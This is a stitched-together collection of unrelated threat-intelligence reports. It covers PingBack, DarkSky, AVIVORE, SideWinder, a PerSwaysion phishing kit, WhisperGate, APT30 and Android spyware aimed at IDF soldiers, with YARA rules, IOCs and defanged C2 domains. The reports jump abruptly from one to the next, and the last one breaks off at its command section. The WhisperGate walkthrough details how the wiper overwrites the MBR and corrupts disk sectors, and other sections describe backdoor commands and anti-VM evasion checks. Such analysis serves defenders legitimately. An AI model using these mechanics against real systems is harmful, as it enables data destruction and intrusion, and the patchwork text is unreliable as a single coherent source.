Finally, this malware did not get into the network through ICMP but rather utilizes ICMP for its covert bot communications. The initial entry vector is still being investigated.
## Appendix
### cmd
- exep (execute process) – execute a binary/command on the remote host
- download (download mode 1) - attacker’s initial connection is done via ICMP and appears as a ping packet. The ICMP echo packet contains data that specifies the attacker’s host and port to where the malware connects back. The ICMP data also contains a file path that the attacker requests. Using the host and port information, the malware creates a new socket, then transmits the requested file back to the attacker.
- upload (upload mode 1) – attacker’s initial connection is done via ICMP. The malware receives the initial connection then connects back to attacker’s host and port specified in the ICMP Echo packet. It then receives the file from the attacker to be saved in the infected system’s local disk.
- download2 – (download mode 2), initial ICMP packet is sent by the attacker. The ICMP echo packet contains the requested filename and path in the infected system. It also contains a port number where the malware will bind and listen to. The malware then waits for the attacker to connect, afterward, it begins transmitting the requested file.
- upload2 – (upload mode 2), initial ICMP packet is sent by the attacker. The ICMP echo packet contains the filename of the file to be received. It also contains a port number where the malware will bind and listen to. The malware then creates the file in the remote host and waits for the attacker to connect. Once connection is established, the attacker begins transmitting the file content to the remote host.
- download3 – (download mode 3), a file is sent to the attacker purely through ICMP data. Although this mode is more covert as it appears as ping packets only, this is slower than using TCP directly as only 1 packet can be transmitted at a time. The malware has to wait for acknowledgment from the attacker’s end.
- upload3 – (upload mode 3), same as download mode 3 – although the attacker uploads the file purely through ICMP. Also slower and unreliable but more covert than other modes.
- shell – request malware to connect back to the attacker with a shell. Initial request is done via ICMP packet containing information including attacker’s host IP and port to where the malware makes a TCP connection.
### IOC
**File:**
- Filename: Oci.dll
- SHA256: E50943D9F361830502DCFDB00971CBEE76877AA73665245427D817047523667F
- PDB path: c:\Users\XL\Documents\Visual Studio 2008\Projects\PingBackService0509\x64\Release\PingBackService0509.pdb
**Network:**
- Source: <Attacker IP address>
- Destination: <Target host>
- ICMP Type: 8
- Sequence Number: 1234|1235|1236
- Data size: 788 bytes
**Yara:**
```yara
rule PingBack {
meta:
description = "This rule detects PingBack malware"
author = "Trustwave SpiderLabs"
date = "May 4th, 2021"
strings:
$string1 = "Sniffer ok!" ascii
$string2 = "lock2" ascii
$string3 = "recvfrom failed" ascii
$string4 = "rexec" ascii
$string5 = "exep" ascii
$string6= "download" ascii
$string7 = "download2" ascii
$string8 = "download3" ascii
$string9 = "upload" ascii
$string10 = "upload2" ascii
$string11 = "upload3" ascii
$string12 = "cmd.exe" ascii
$string13 = "PingBackService" ascii
condition:
all of them
}
``` |
# DarkSky Botnet
Radware’s Threat Research has recently discovered a new botnet, dubbed DarkSky. DarkSky features several evasion mechanisms, a malware downloader, and a variety of network- and application-layer DDoS attack vectors. This bot is now available for sale for less than $20 over the Darknet. As published by its authors, this malware is capable of running under Windows XP/7/8/10, both x32 and x64 versions, and has anti-virtual machine capabilities to evade security controls such as a sandbox, thereby allowing it to only infect ‘real’ machines.
## Background
Radware has been monitoring this malware since its early versions in May 2017. Developers have been enhancing its functionality and released the latest version in December 2017. Its popularity and use are increasing. On New Year’s Day 2018, Radware witnessed a spike in different variants of the malware. This is suspected to be the result of an increase in sales or testing of the newer version following its launch. However, all communication requests were to the same host (“http://injbot.net/”), a strong indication of “testing” samples.
## Infection Methods
Radware suspects the bot spreads via traditional means of infection such as exploit kits, spear phishing, and spam emails.
## Capabilities
1. **Perform DDoS Attack:**
The malware is capable of performing DDoS attacks using several vectors:
- DNS Amplification
- TCP (SYN) Flood
- UDP Flood
- HTTP Flood
The server also has a “Check Host Availability” function to check if the DDoS attack succeeded. When the malware performs an HTTP DDoS attack, it uses the HTTP structure seen below. In the binaries, Radware witnessed hard-coded lists of User-Agents and Referers that are randomly chosen when crafting the HTTP request.
2. **Downloader:**
The malware is capable of downloading malicious files from a remote server and executing the downloaded files on the infected machine. After looking at the downloaded files from several different botnets, Radware noticed cryptocurrency-related activity where some of the files are simple Monero cryptocurrency miners and others are the latest version of the “1ms0rry” malware associated with downloading miners and cryptocurrencies.
3. **Proxy:**
The malware can turn the infected machine into a SOCKS/HTTP proxy to route traffic through the infected machine to a remote server.
## Malware Behavior
The malware has a quick and silent installation with almost no changes on the infected machine. To ensure persistence on the infected machine, it will either create a new key under the registry path “RunOnce” or create a new service on the system:
- HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\Registry Driver
- HKLM\System\CurrentControlSet\Services\Icon Codec Service
## Communication
When the malware executes, it will generate an HTTP GET request to “/activation.php?key=” with a unique User-Agent string “2zAz.” The server will then respond with a “Fake 404 Not Found” message if there are no commands to execute on the infected machine.
## Communication Obfuscation Example
The GET request param value is base64 encrypted. The final readable string contains infected machine information as well as user information. When a new command is sent from the server “200 OK,” a response return is executed with the request to download a file from the server or execute a DDoS attack.
## Evasion
When the malware executes, it will perform several anti-virtual machine checks:
1. **VMware:**
- Dbghelp.dll
- Software\Microsoft\ProductId != 76487-644-3177037-23510
2. **Vbox:**
- VBoxService.exe
- VBoxHook.dll
3. **Sandboxie:**
- SbieDll.dll
It will also look for the Syser kernel debugger presence searching for the following devices:
- \\.\Syser
- \\.\SyserDbgMsg
- \\.\SyserBoot
## IOCs
### Effective DDoS Protection Essentials
- Hybrid DDoS Protection – On-premise and cloud DDoS protection for real-time DDoS attack prevention that also addresses high volume attacks and protects from pipe saturation.
- Behavioral-Based Detection – Quickly and accurately identify and block anomalies while allowing legitimate traffic through.
- Real-Time Signature Creation – Promptly protect from unknown threats and zero-day attacks.
- A Cyber-Security Emergency Response Plan – A dedicated emergency team of experts who have experience with Internet of Things security and handling IoT outbreaks.
- Intelligence on Active Threat Actors – high fidelity, correlated and analyzed data for preemptive protection against currently active known attackers.
For further network and application protection measures, Radware urges companies to inspect and patch their network in order to defend against risks and threats. |
# AVIVORE – Hunting Global Aerospace through the Supply Chain
Until now, most prominent supply chain intrusions have been "vertical"; initial victims are typically Managed Services Providers or software vendors leveraged by attackers to move up or down the supply chain. However, since summer 2018, Context Information Security has been investigating a series of incidents targeting UK and European Aerospace and Defence that are best described as "horizontal". Advanced attackers have been leveraging direct connectivity between suppliers and partners who are integrated into each other’s value chains. We have been tracking this activity under the codename AVIVORE.
Affected victims include large multinational firms (Primes) and smaller engineering or consultancy firms within their supply chain (Secondaries). Context has worked closely with victims, the National Cyber Security Centre (NCSC), security organisations, and law enforcement agencies across Europe to reduce impact and prevent further compromise.
## Who is AVIVORE?
Context categorises AVIVORE as a previously unknown and untracked nation-state level adversary, whose operators’ working hours appear to correlate to a time zone of UTC +8. The primary objective for their intrusions is believed to be espionage, as well as access enablement through supply chain partners.
Recent reporting into incidents affecting Aerospace and Defence Primes has speculated that either APT10 or JSSD (Jiangsu Province Ministry of State Security) may be responsible for this activity. Whilst certain similarities between these adversaries' campaigns and those investigated by Context exist, the Tactics, Techniques and Procedures (TTPs), infrastructure and tooling observed differ significantly. Whilst involvement of these named adversaries cannot be ruled out, available evidence suggests this campaign is the work of a separate adversary group.
## Capable and Adaptable
AVIVORE showed themselves to be highly capable; adept at both “living-off-the-land” (masquerading as legitimate users) and in their operational security awareness; including forensically covering their tracks. They demonstrated detailed knowledge of key individuals associated with projects of interest and were able to successfully mirror working times and patterns of these users to avoid arousing suspicions. They were also able to manipulate victim environments and security controls to facilitate and obfuscate their activities (e.g., modifying firewall rules to accept RDP over alternate ports; establishing hosts within the victim environment as remote access proxies). AVIVORE’s attack methodology for the linked intrusions followed a relatively set format:
- Access into victim through leverage of compromised user credentials and legitimate external remote access services.
- Escalate privileges within victim environment via abuse of legitimate tools and/or highly privileged service and enterprise administrator accounts.
- Conduct account and host enumeration using 'net' commands.
- Schedule execution of scripts and tooling run in the context of the ‘SYSTEM’ user.
- Remove forensic artefacts of scripts & tooling, and clearing of event logs following execution.
- Use of RDP for lateral movement around the victim environment.
## Infrastructure and Tooling
AVIVORE made extensive use of infrastructure providing interconnectivity between victims; affected Secondaries are often suppliers to multiple Primes and frequently maintain direct network connectivity via Virtual Private Networks (VPNs) or other remote and collaborative working solutions. AVIVORE exploited this relationship to bypass the (generally well-defended) perimeters of the Primes, evading critical controls and taking advantage of the challenges many organisations face in cross-boundary coordination.
This technique, referred to as "Island Hopping", allowed AVIVORE to chain activity across multiple business units (with local IT and security teams operating independently) or geographical locales within victim environments. Where Context had visibility of victim-facing network infrastructure employed by AVIVORE, it primarily consisted of commercial VPN infrastructure located in Singapore and Japan, as well as Tor. This all served to obfuscate the origin of AVIVORE’s connections into victim networks and made investigation challenging.
AVIVORE demonstrated a preference for in-built system tooling and abuse of legitimate software. They introduced network scanning and certificate extractions tools, as well as Windows SysInternals tools such as ProcDump, across multiple victim environments. These binaries were renamed to imitate Windows DLLs and staged in file system locations associated with compatibility and performance logging. Such tools were typically executed on remote systems using scheduled tasks and then removed, together with their output, following execution.
Multiple instances of the PlugX Remote Access Trojan were discovered on compromised hosts. Evidence suggested these implants were deployed between October 2015 and October 2016. File system artefacts indicated that attackers may have interacted with them between deployment and the 2018 intrusions. Although direct interaction with these implants was not observed during the investigation period, Context assesses with low-moderate confidence that they may be associated with the AVIVORE intrusions. Evidence indicated that some of the implants were patched in-memory, with modified configuration blocks injected post-execution to provide new C2 domains during times AVIVORE operators were active inside victim environments.
## Future Recommendations and Mitigations
Though the majority of activity investigated by Context has taken place since Jan/Feb 2018, artefacts from some victim environments indicate that AVIVORE likely maintained persistent access since October 2015, and potentially even earlier. Therefore, it is possible that this is a small portion of a broader campaign. In addition to Aerospace and Defence engineering victims, Context has seen AVIVORE target assets related to a number of other verticals including:
- Automotive
- Consultancy
- Energy/Nuclear
- Space and Satellite Technology
Based on the information and assets sought by AVIVORE, Context assesses with moderate confidence that the objective of the recent campaign was intellectual property theft from victim organisations. Although defence against advanced nation-state level actors can be challenging, Context recommends the following mitigations to disrupt future AVIVORE activity:
- Impose access limitations on supplier connections over VPNs, such as preventing their use outside of the supplier’s business hours or from IP addresses and locations other than those pre-agreed, and restrict access only to data and assets they require to perform their actions.
- Ensure that security measures, such as multifactor authentication and enhanced auditing/logging are deployed to hosts and services into which suppliers are required to connect, in order to prevent or support the investigation of any suspicious user behaviour.
- Ensure that external remote access services implement appropriate log retention. Logs should contain enough information on the sources of inbound connections to enable identification of anomalies, such as concurrent log-ins with impossible geography.
- Ensure that credentials for highly privileged accounts and remote services are stored securely, and their use is appropriately monitored. Hosts such as domain controllers, sensitive file shares and Public Key Infrastructure servers should also be subject to particular additional scrutiny and monitoring.
- Where possible, applications, documentation and technical information related to network infrastructure and configuration of remote access services should be made available only to engineers, IT support staff and other individuals with legitimate business need. |
# SideWinder
There is no description at this point.
## References
- 2022-04-14 ⋅ Medium (@CDSO_CyTec) ⋅ DCSO CyTec
- 2021-03-04 ⋅ Malpedia ⋅ Malpedia
- 2021-01-13 ⋅ AlienVault ⋅ Tom Hegel: A Global Perspective of the SideWinder APT
- 2020-12-09 ⋅ Trend Micro ⋅ Joseph C Chen, Jaromír Hořejší, Ecular Xu: SideWinder Leverages South Asian Territorial Issues for Spear Phishing and Mobile Device Attacks
- 2020-12-09 ⋅ AlienVault OTX ⋅ AlienVault: SideWinder APT South Asian Territorial Themed Spear Phishing and Mobile Device Attacks
- 2020-10-26 ⋅ Qianxin ⋅ Threat Intelligence Center: Analysis of the attack activities of the Rattlesnake organization using the Buffy bilateral agreement as bait
- 2020-05-28 ⋅ Qianxin ⋅ Threat Intelligence Center: Analysis of recent rattlesnake APT attacks against surrounding countries and regions
- 2019-02-26 ⋅ Tencent ⋅ Tencent Yujian Threat Intelligence Center: Disclosure of SideWinder APT's attack against South Asia
- 2018-07-16 ⋅ Medium Sebdraven ⋅ Sébastien Larinier: APT Sidewinder: Tricks powershell, Anti Forensics and execution side loading
- 2018-05-23 ⋅ Tencent ⋅ Tencent Mimi Threat Intelligence Center: SideWinder“响尾蛇”APT组织(T-APT-04):针对南亚的定向攻击威胁
## Yara Rules
```yara
rule win_sidewinder_auto {
meta:
author = "Felix Bilstein - yara-signator at cocacoding dot com"
date = "2022-04-08"
version = "1"
description = "Detects win.sidewinder."
info = "autogenerated rule brought to you by yara-signator"
tool = "yara-signator v0.6.0"
signator_config = "callsandjumps;datarefs;binvalue"
malpedia_rule_date = "20220405"
malpedia_hash = "ecd38294bd47d5589be5cd5490dc8bb4804afc2a"
malpedia_version = "20220411"
malpedia_license = "CC BY-SA 4.0"
malpedia_sharing = "TLP:WHITE"
strings:
$sequence_0 = { e8???????? 898510ffffff eb07 83a510ffffff00 8d4dc4 e8???????? e9???????? }
$sequence_1 = { 51 51 68???????? 64a100000000 50 64892500000000 6a28 }
$sequence_2 = { 6a78 68???????? ff75e4 ff75d0 e8???????? 89852cffffff eb07 }
$sequence_3 = { 89458c eb04 83658c00 8d45d4 50 8b45e8 }
$sequence_4 = { 83a59cfdffff00 ff75d0 e8???????? 8bd0 8d4ddc e8???????? 8d4dd0 }
$sequence_5 = { 8bec 83ec14 68???????? 64a100000000 50 64892500000000 b8b8000000 }
$sequence_6 = { 7d23 6890000000 68???????? ffb550ffffff ffb54cffffff e8???????? 89859cfeffff }
$sequence_7 = { 8d45d8 50 8b45c4 8b00 ff75c4 ff5024 dbe2 }
$sequence_8 = { 8b4508 6683603400 8b4508 8b00 ff7508 ff5044 e9???????? }
$sequence_9 = { eb07 83a560ffffff00 8d4dcc e8???????? 8d4dbc e8???????? e9???????? }
condition:
7 of them and filesize < 679936
}
``` |
# Investigation of a Long-Lived Phishing Kit
## Executive Summary
Phishing kits are powerful enablers of digital crime. By providing a ready-made format that can be purchased by anyone, the barrier to creating convincing fake login portals is nearly eliminated. Recent reports indicate attacks leveraging phishing kits, including one that has remained active for over four years. In the last 18 months, thousands of users across various sectors have been affected, suggesting a significant impact on organizations.
## Uncovering the Activity
**Author's Note**
This section starts with a marketing vibe, but it reflects the actual events. Feel free to skip this part.
In late October, I began creating content for a new platform called NetworkSage. One of my first technical blogs focused on Sandbox technologies and their gaps. While collecting data for a key point, I realized I was observing shared attack infrastructure with other samples in our system.
This discovery led me to hypothesize that a widespread attack was occurring under the radar.
## Previous Reporting
About halfway through my investigation, I found that portions of this attack, dubbed PerSwaysion, had been reported previously. Despite these reports, the activity has continued uninterrupted. In January 2020, Avanan researchers discussed a tactic used by clients of the phishing kit, specifically the delivery of legitimate-looking emails linking to malicious content hosted on Microsoft’s Sway service.
In April 2020, Group-IB conducted a deeper dive into the PerSwaysion campaign, identifying the likely nationality of the developers as Vietnamese and describing the kit’s global customer base. They provided a detailed review of the attacker infrastructure and discussed known victim locations.
This report will establish the overall timeline of the group, describe recent activity, elaborate on aspects of the kit not yet discussed, identify attack vectors, and provide indicators useful for hunting and detection.
## Understanding the Scope
The system we’re releasing focuses on network traffic, critical for understanding ongoing activity. I chose to analyze my samples and correlate them with Urlscan, a community platform for detonating URLs.
### Question 1: How Long has the Attack Existed?
To establish the timeline, I examined how many samples existed using the domain wancdnapp[.]page. Using Urlscan’s search feature, I quickly identified the number of samples containing it. I reviewed the samples and analyzed the files requested over time, correlating this with manual analysis of live phishing portals.
### Javascript Analysis
In all known cases, these Javascript files are found within a themes directory. By analyzing samples with that structure, I discovered that this activity spanned far into the past. Some samples' Javascript files are packed, while others are not. However, once compared in unpacked form, the code reuse is significant.
### A Pattern Emerges
I spent several hours researching characteristics that identified related activity. Reviewing samples with similar URL parameters led to additional domains associated with the attack. I noticed that many attack domains had similar registration dates clustered around late September 2017, suggesting that mid-2019 was not the beginning of the attack.
### A Breakthrough
On the last day of intelligence gathering, I tied the activity back to October 10, 2017. This was made possible by the Urlscan community, which shares links to identify malicious activity. The connection was made by identifying something common across all samples and reviewing the sequence of events during the site’s loading.
### Question 2: How Widespread is this Attack?
To understand the types of organizations targeted in the last 18 months, I analyzed data from Urlscan to determine how many known phishing portals existed, where they were hosted, and which email addresses were entered by potential victims. Since May 2020, there have been 7,403 total samples submitted, affecting 14 public or private sectors.
**Known Sectors Affected**
- Government
- Financial
- Pharmaceutical
- Energy
- University
- Insurance
- Healthcare
- Agriculture
- Engineering
- Aerospace
- Public Relations
- Legal
- Technology
- Marketing
Realistically, virtually any industry could have been a target over time.
## Kit Details
While the Group-IB report covers many aspects of the kit, I’d like to elaborate on several items to help analysts recognize this activity in the wild.
### Modular Infrastructure
This kit has two types of modularity. First, it allows for easy deployment of phishing portals for many brands. There are eight templates supported out of the box, primarily focusing on Microsoft's Office365.
The second modular aspect is the attack infrastructure. Each campaign has four aspects:
1. **Front-End Phishing Portal (Short-Lived)**: These sites load for users and generally have a short shelf life.
2. **Redirector Site (Long-Lived)**: Lightweight sites that request template information and resources, often remaining active for months.
3. **Template Hosting Site (Short-Lived)**: Hosts all files used to render the phishing portal, typically found in a subdirectory named themes.
4. **Credential Collection Site (Long-Lived)**: Collects credentials entered by users and tends to stay active for extended periods.
### Anti-Analysis Techniques
Two additional anti-analysis techniques are employed by this phishing kit:
1. **Code Packing**: The Javascript code is obfuscated, requiring unpacking to identify recognizable strings.
2. **Anti-Chrome Dev Tools**: The kit has anti-debugging measures that trigger a pause function when Developer Tools is launched.
## Attack Vectors
Phishing is the primary vector for delivery in this attack. Techniques observed since May 2020 include:
1. **URL Shorteners**: Used to bypass email protections and add legitimacy to URLs.
2. **Email Marketing Platforms**: Many samples used sendgrid[.]net to bypass filters.
3. **Compromised Sites**: Attackers hide within benign sites.
4. **Malicious Domains**: Domains set up to bypass security platforms.
5. **Content Preview and Hosting Sites**: Platforms allowing arbitrary content hosting.
6. **Advertisements**: Some samples redirected through Google’s advertising infrastructure.
7. **Open Redirects**: Certain sites were used maliciously without compromising them.
## Hunting and Detection
To identify this activity across different layers of the security stack, I provide indicators for security teams.
### Specific Indicators
There are specific indicators visible at various layers useful for detecting compromises.
**Known Front-End Phishing Portals by Hosting Platform (05/01/2020-11/04/2021)**
- Hosted on Microsoft’s azurewebsites[.]net:
- http://cdoapponedripointa.azurewebsites[.]net
- http://itkoa92pixzda.azurewebsites[.]net
- ... (and many more)
**Sampling of Known Redirector Sites (05/01/2020-11/04/2021)**
- *.wancdnapp[.]page: Last Seen 11/09/2021
- *.aioecoin[.]org: Last Seen 09/05/2021
- *.smsmail[.]net: Last Seen 07/31/2021
- *.perfectstuff[.]info: Last Seen 01/26/2021
## How to Know if I'm Affected
To determine if your users were targeted, analyze network traffic around the activity. Look for recent known Credential Collection sites and uncommonly occurring activity suggesting a C2-like channel.
## Loose Ends
Several loose ends remain in the investigation of this phishing kit:
1. **Marketing of the Kit**: No meaningful leads were found on Dark Web forums.
2. **Developers of the Kit**: Group-IB identified likely Vietnamese developers, but no further ties were found.
3. **anytools[.]biz Site**: Historical information about this site remains elusive.
4. **Early UI Evidence**: A Credential Collection site referenced a Gmail Auto Login GUI, suggesting quick validation of entered credentials.
## Tools Used
This analysis relied on various tools:
- Urlscan for site analysis and historical comparison
- NetworkSage for identifying shared infrastructure
- Fiddler for decrypting communications
- beautifier.io for making Javascript samples readable
- Unpacker for unpacking obfuscated Javascript
- CyberChef for decoding Base64-encoded data
- Regexr for testing regular expressions
- TextCompare for code sample comparison |
# WhisperGate
## Introduction
Dozens of Ukrainian government sites, including the Ministry of Foreign Affairs, Cabinet of Ministers, and Security Council, have been hit by a massive cyber attack. Microsoft incident response team recently released samples of destructive malware used in the campaign.
## Samples
- virustotal
- filescan.io
## Environment
- Windows 10 guest (Virtualbox)
- Windows 10 host
## Tools
- Die
- IDA
- x32dbg
- bochs
## Analysis
### Behavioral analysis
Malware needs administrative privileges to be successful. It does not create any network traffic, registry modifications, or file modifications. Upon restarting, the device will boot into a screen displaying the following ransom note.
### Static analysis
According to Detect It Easy, the file is a 32-bit PE file. It is compiled and linked using MinGW (GCC 6.3.0) and GNU linker. Die shows entropy as 6.07208, which is high, but it also says the executable is not packed. As usual, entropy in the .text section is higher than in the other sections.
Strings in the binary are not encrypted. Several strings give hints about the malware’s capabilities, such as disk corruption. Also, note that it shows a bitcoin wallet and a Tox ID that can be used as signatures.
- 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv
- 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65
The executable does not have many imports. There are no APIs related to cryptography, even though the malware claims to encrypt the files.
### Reversing the PE
IDA shows that the PE contains two TLS callbacks. Initially suspected these were for anti-debugging purposes, but it turns out to be no. The first TLS callback starts calling some function pointers if the reason is DLL_THREAD_ATTACH. The second TLS callback simply returns if the reason is something other than DLL_THREAD_DETACH or DLL_PROCESS_DETACH, suggesting this may be de-initializing whatever was initialized by the tlscallback1.
The start function calls `sub_4011b0` after setting the app type. `sub_4011b0` calls function `sub_403b60` that is responsible for the main functionality of the malware. The function copies 2048 bytes at offset `boot_sector_code` into the stack. The offset contains bytes of compiled x86 real mode boot sector code, along with the boot signature `0x55AA`.
Then it calls `CreateFileW`, passing `\\.\PhysicalDrive0` as the filename argument. The returned handle is then passed to `WriteFile` along with the stack buffer that contains the boot sector code. If the call is successful, it will overwrite the MBR (master boot record) with a custom boot sector. After BIOS has done selecting the boot device, it will load the overwritten MBR into memory, and the CPU will start executing a parasite bootloader. Also, note that the malware does not encrypt anything.
### Extracting boot sector code
The buffer containing boot sector code can be extracted by placing a breakpoint at the address where it is accessed and using the show in dump feature in x32dbg. The extracted buffer can then be saved as a raw binary file for further analysis.
### Reversing boot sector code
The CS segment register is initially initialized to `0x0`, it is used to zero out `ax` and set up other segment registers. It then loads the ransom note into the `si` register. The next instruction calls `print_loop`, which then calls `print_char` after loading `al` with the byte at `si`. It will repeat this operation until `[si]` is null. `print_char` uses BIOS interrupts to put a single character into the screen. A BIOS interrupt call is a feature of BIOS that allows bootloaders and early kernels to access BIOS services such as video memory access and low-level disk access. To use BIOS interrupts, the `ah` register should be initialized to the function number. Parameters are passed down through registers, and similar to x86 syscalls, the `int` instruction is used to do the software interrupt along with the BIOS service number.
For instance, in the above image, malware loads Display character function number `0x0e` into `ah` and calls BIOS video service. After printing the ransom note, the overwritten code jumps into another label, which then jumps to label `corrupt_c`. Two instructions after segment register initialization set the word at `0x7c78` to `0x0000` and dword at `0x7c76` to `0x7c82` (‘AAAA’). This initializes the DAP (Disk Address Packet) structure. DAP is a structure that should be initialized in memory in order to use Logical Block Addressing with interrupt `0x13`. This structure should then be passed through the `si` register.
The layout of the structure:
| Offset | Size | Description |
|--------|------|-------------|
| 0 | 1 | size of the packet (16 bytes) |
| 1 | 1 | always 0 |
| 2 | 2 | number of sectors to transfer (max 127 on some BIOSes) |
| 4 | 4 | transfer buffer (16 bit segment:16 bit offset) |
| 8 | 4 | lower 32-bits of 48-bit starting LBA |
| 12 | 4 | upper 16-bits of 48-bit starting LBA |
Before the interrupt call `int 0x13`, which is used for low-level disk access, the `ah` register is initialized to `0x43`, BIOS function number for writing sectors to the disk. The following registers are also initialized:
- `al` - `0x0` (close clock write)
- `dl` - `0x80` (hard disk)
- `si` - `0x7c72` (DAP)
The `si` register is loaded with address `0x7c72`, which must be the address of the disk address packet. A successful BIOS interrupt call will overwrite the first Logical Block Address of the disk with `AAAA`, corrupting the C drive. The next few instructions check whether an extended write operation is successful or not. If `cf` is set (error), control flow gets redirected to `loc_7c45` (failed), else, to `loc_7c5d` (success). If it fails, the malware tries to overwrite the next disk drive by incrementing the value that adds up with `0x80`. It adds `0xc7` (199) to `[0x7c7a]`, incrementing the next LBA to be overwritten by 199. The loop is going to continue until the hard disk is completely overwritten by `AAAA`s for each 200 Logical Block Address, entirely corrupting the disk.
## The end
It is clear that financial gain is not the motivation behind this malware. The malware is created to do the maximum possible damage to the infected computer.
# Spread Anarchy! |
# SPECIAL REPORT
## APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION
### Introduction
APT30 is noted for sustained activity, but also for successfully maintaining the same tools, tactics, and infrastructure since at least 2005. When our Singapore-based FireEye Labs team examined targets, which possibly include classified malware aimed predominantly at government networks and other networks in Southeast Asia and India, we suspected that we were peering into a regionally focused cyber espionage operation. The malware revealed a decade-long operation focused on targets—government and commercial—who hold key political, economic, and military information about the region. This group, whom we call APT30, stands out not only for their sustained activity and regional focus but also for their continued success despite maintaining relatively consistent tools, tactics, and infrastructure since at least 2005.
Such a sustained, planned development effort, coupled with the group’s regional targets and mission, leads us to believe that this activity is state-sponsored—most likely by the Chinese government. Rather than focus on the potential sponsorship of this activity, this report seeks to thoroughly analyze the development effort of one of the longest-running advanced threat groups we’ve observed.
Based on our malware research, we are able to assess how the team behind APT30 works: they prioritize their targets, most likely work in shifts in a collaborative environment, and build malware from a coherent development plan. Their missions focus on acquiring sensitive data from a variety of targets.
### Key Findings
1. APT30’s development and refinement of a set of integrated tools, as well as their re-use of infrastructure over a period of 10 years, suggests a consistent long-term mission.
2. APT30 has a structured and organized workflow, illustrative of a collaborative team environment, and their malware reflects a coherent development approach.
3. The group’s primary goal appears to be sensitive information theft for government espionage.
4. APT30 predominantly targets entities that may satisfy governmental intelligence collection requirements. The vast majority of APT30’s victims are in Southeast Asia.
5. Much of their social engineering efforts suggest the group is particularly interested in regional political, military, and economic issues, disputed territories, and media organizations and journalists who report on topics pertaining to China and the government’s legitimacy.
### APT30: In It for the Long Haul
APT30 has been operating for over a decade. The earliest-known registration dates for domains attributed to APT30 go back to 2004, and the compile times for APT30 malware using those domains for command and control (C2) date back to 2005. Typically, threat groups who register domains for malicious use will abandon them after a few years. APT30, however, has used some of their domains for more than five years, with some of their earliest domains still in use as of at least late 2014.
APT30 appears to have conducted their activity using a surprisingly limited number of tools and backdoors. One reason for this might be that they have had no need to diversify or add to their arsenal if they have been successful with their current approach. Although APT30 has used a variety of secondary or supporting tools over the years, their primary tools have remained remarkably consistent over time: namely, the backdoors BACKSPACE and NETEAGLE, and a set of tools (SHIPSHAPE, SPACESHIP, and FLASHFLOOD) believed to be designed to infect (and steal data from) air-gapped networks via infected removable drives.
### APT30’s Primary Mission: Data Theft for Political Gain
Based on our knowledge of APT30's targeting activity and tools, their objective appears to be data theft as opposed to financial gain. APT30 has not been observed to target victims or data that can be readily monetized. Instead, their tools include functionality that allows them to identify and steal documents, including what appears to be an interest in documents that may be stored on air-gapped networks.
APT30 has routinely set its sights on national governments, regionally based companies in ten industries, and members of the media who report on regional affairs and Chinese government issues. Based on APT30’s confirmed targets and their intended victims, the group’s interests appear to concentrate on Southeast Asia regional political, economic, and military issues, disputed territories, and topics related to the legitimacy of the Chinese Communist Party.
### Conclusion
APT30’s operations epitomize a focused, persistent, and well-resourced threat group. They appear to consider both the timing of their operations and prioritize their targets. Some of their tools’ capabilities, most notably the ability to infect air-gapped networks, suggest both a level of planning and interest in particularly sensitive data, such as that housed on government networks. The group’s method for selecting and tracking victims suggests a high level of coordination and organization among the group’s operators. With activity spanning more than ten years, APT30 is one of the longest operating threat groups that we have encountered and one of the few with a distinct regional targeting preference.
Our research into APT30 demonstrates what many already suspected: threat actors rely on cyber capabilities to gather information about their immediate neighborhood, as well as on a larger, global scale. APT30 appears to focus not on stealing businesses’ valuable intellectual property or cutting-edge technologies, but on acquiring sensitive data about the immediate Southeast Asia region, where they pursue targets that pose a potential threat to the influence and legitimacy of the Chinese Communist Party. |
# Breaking The Weakest Link Of The Strongest Chain
**Authors**
IDF C4I
Ido Naor
Around July last year, more than 100 Israeli servicemen were hit by a cunning threat actor. The attack compromised their devices and exfiltrated data to the attackers’ command and control server. In addition, the compromised devices were pushed Trojan updates, which allowed the attackers to extend their capabilities. The operation remains active at the time of writing this post, with attacks reported as recently as February 2017.
The campaign, which experts believe is still in its early stages, targets Android OS devices. Once the device is compromised, a process of sophisticated intelligence gathering starts, exploiting the ability to access the phone’s video and audio capabilities, SMS functions, and location.
The campaign relies heavily on social engineering techniques, leveraging social networks to lure targeted soldiers into both sharing confidential information and downloading the malicious applications. Characterized by relatively unsophisticated technical merit and extensive use of social engineering, the threat actor targets only IDF soldiers.
IDF C4I & the IDF Information Security Department unit, with Kaspersky Lab researchers, have obtained a list of the victims; among them IDF servicemen of different ranks, most of them serving around the Gaza strip.
## Attack Flow
The operation follows the same infection flow across the different victims:
### Social Engineering
The threat actor uses social engineering to lure targets into installing a malicious application while continuously attempting to acquire confidential information using social networks. We’ve seen a lot of the group’s activity on Facebook Messenger. Most of the avatars (virtual participants in the social engineering stage) lure the victims using sexual innuendo, e.g., asking the victim to send explicit photos, and in return sending fake photos of teenage girls. The avatars pretend to be from different countries such as Canada, Germany, Switzerland, and more.
### Dropper
After the victim downloads the APK file from the malicious URL, the attacker expects the victim to install the package manually. The dropper requires common user permissions.
**Key features**
- Downloader & Watchdog of the main payload
- Payload update mechanism
- Customized payload – the dropper sends a list of installed apps and receives a payload package based on it
- Obfuscation – The dropper package is obfuscated using ProGuard, which is an open-source code obfuscator and Java optimizer, observed in the LoveSongs dropper.
### Network Protocols
The network protocol between the dropper and the configuration server is based on HTTP POST requests. The following servers implement a RESTful API:
- LoveSongs – `http://endpointup[.]com/update/upfolder/updatefun.php`
- YeeCall, WowoMessanger – `http://droidback[.]com/pockemon/squirtle/functions.php`
Most of the communication with the server is in clear-text, except for specific commands which are encrypted using an AES-128 hard coded-key.
Along with an ID existence check, the dropper sends a list of the device’s installed apps – if it hasn’t done so already. The flow between different variants of the dropper is similar, with minor changes. One variant pretends to be a YouTube player, while others are chat apps: LoveSongs has YouTube player functionality, whereas WowoMessanger does not have any legitimate functionality whatsoever; it erases its icon after the first run.
### Payload
The payload is installed after one of the droppers mentioned above has been downloaded and executed on the victim device. The only payload we have seen so far is “WhatsApp_Update”.
The payload is capable of two collection mechanisms:
- Execute “On demand” commands – manual commands that are triggered by the operator
- Scheduled process – scheduled tasks that collect information periodically from various sources.
Most of the collected data will be sent only when a WI-FI network is available.
### C&C Commands
